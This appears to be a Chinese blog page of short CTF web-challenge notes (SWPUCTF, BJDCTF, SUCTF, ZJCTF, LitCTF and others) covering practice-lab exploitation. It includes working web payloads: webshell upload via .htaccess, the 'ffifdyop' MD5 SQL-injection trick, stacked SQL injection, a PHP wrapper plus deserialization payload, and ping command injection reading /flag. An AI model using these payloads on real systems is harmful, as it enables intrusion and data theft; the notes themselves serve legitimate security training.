[SWPUCTF 2021 新生赛]gift_F12
代码审计
[SWPUCTF 2021 新生赛]easyupload2.0
php与phtml区别:.PHP页面不包含与视图相关的代码
.PHTML页面包含的数据逻辑很少(如果有的话),并且大部分与演示相关
利用phtml绕过代替php
抓包发现典型的multipart/from-data形式
[SWPUCTF 2021 新生赛]easyupload1.0
前端对上传文件进行了限制
[SWPUCTF 2021 新生赛]easyupload3.0
传入一句话木马
先上传一个.htaccess(不要使用任何前缀否则不能解析)使jpg文件能正常解析为php文件,再上传一个muma.jpg文件,最后用中国蚁剑连接。
[FSCTF 2023]签到plus
参考博客:FSCTF 2023 - kode - 博客园 (cnblogs.com)
PHP<=7.4.21 Development Server源码泄露漏洞
注意格式和要关掉content type更新
[BJDCTF 2020]easy_md5
抓包发现提示
这里用:ffifdyop,这个MD5加密后会返回’or’6XXXXXXXXX(这里的XXXXX是一些乱码和不可见字符)
附上某位师傅写的代码(要跑很多次,没跑出来,但是思路可以借鉴)
function getRandStr($length) {
$str = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$randString = '';
$len = strlen($str)-1;
for($i = 0;$i < $length;$i ++){
$num = mt_rand(0, $len);
$randString .= $str[$num];
}
return $randString ;
}
for($i=8; $i<10; $i++){
for ($j=1; $j<100000; $j++){
$test=getRandStr($length=$i);
$dddd = md5($test,TRUE);
$find = "'or'";
$retur = stripos($dddd,$find);
if ($retur > 0 || $retur ===0) {
echo $dddd;
echo "\n";
echo $test;
echo "\n";
}
}
}
?>
第二步:任意两个MD5加密后0ex开头字符串。
第三步数组绕过。
[SWPUCTF 2021 新生赛]PseudoProtocols
php伪协议,文件上传任意漏洞
[NISACTF 2022]easyssrf
[NCTF 2018]签到题
不跳转下重新抓包
[suctf 2019]EasySQL
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如:select * from users;show databases;
1; show databases;(查数据库)
1; show tables;(查表名)
1;show columns from Flag;#(猜测关键字被过滤)
[ZJCTF 2019]NiZhuanSiWei
伪协议(传入相匹配的字符串和查看文件内容),文件包含,反序列化(to_string函数将类当作字符串从而echo执行命令),使用一些常见playload.
最后playload?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
[LitCTF 2023]Follow me and hack me
[NSSCTF 2022 Spring Recruit]ezgame
新奇的方式:修改得分机制
[LitCTF 2023]Ping
函数的大致作用是严格匹配 ipv4 地址,比如 127.0.0.1 这种格式,域名都不可以.
法一:可用禁掉js的插件再进行命令执行。(disable javascript)
法二:绕过前端用bp抓包进入后端操作。
127.0.0.1;ls /
127.0.0.1; tac /flag
[SWPUCTF 2021 新生赛]hardrce
URL编码取反绕过正则实现RCE.
注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。
注意查看源代码避免遗漏不可见字符
还没有评论,来说两句吧...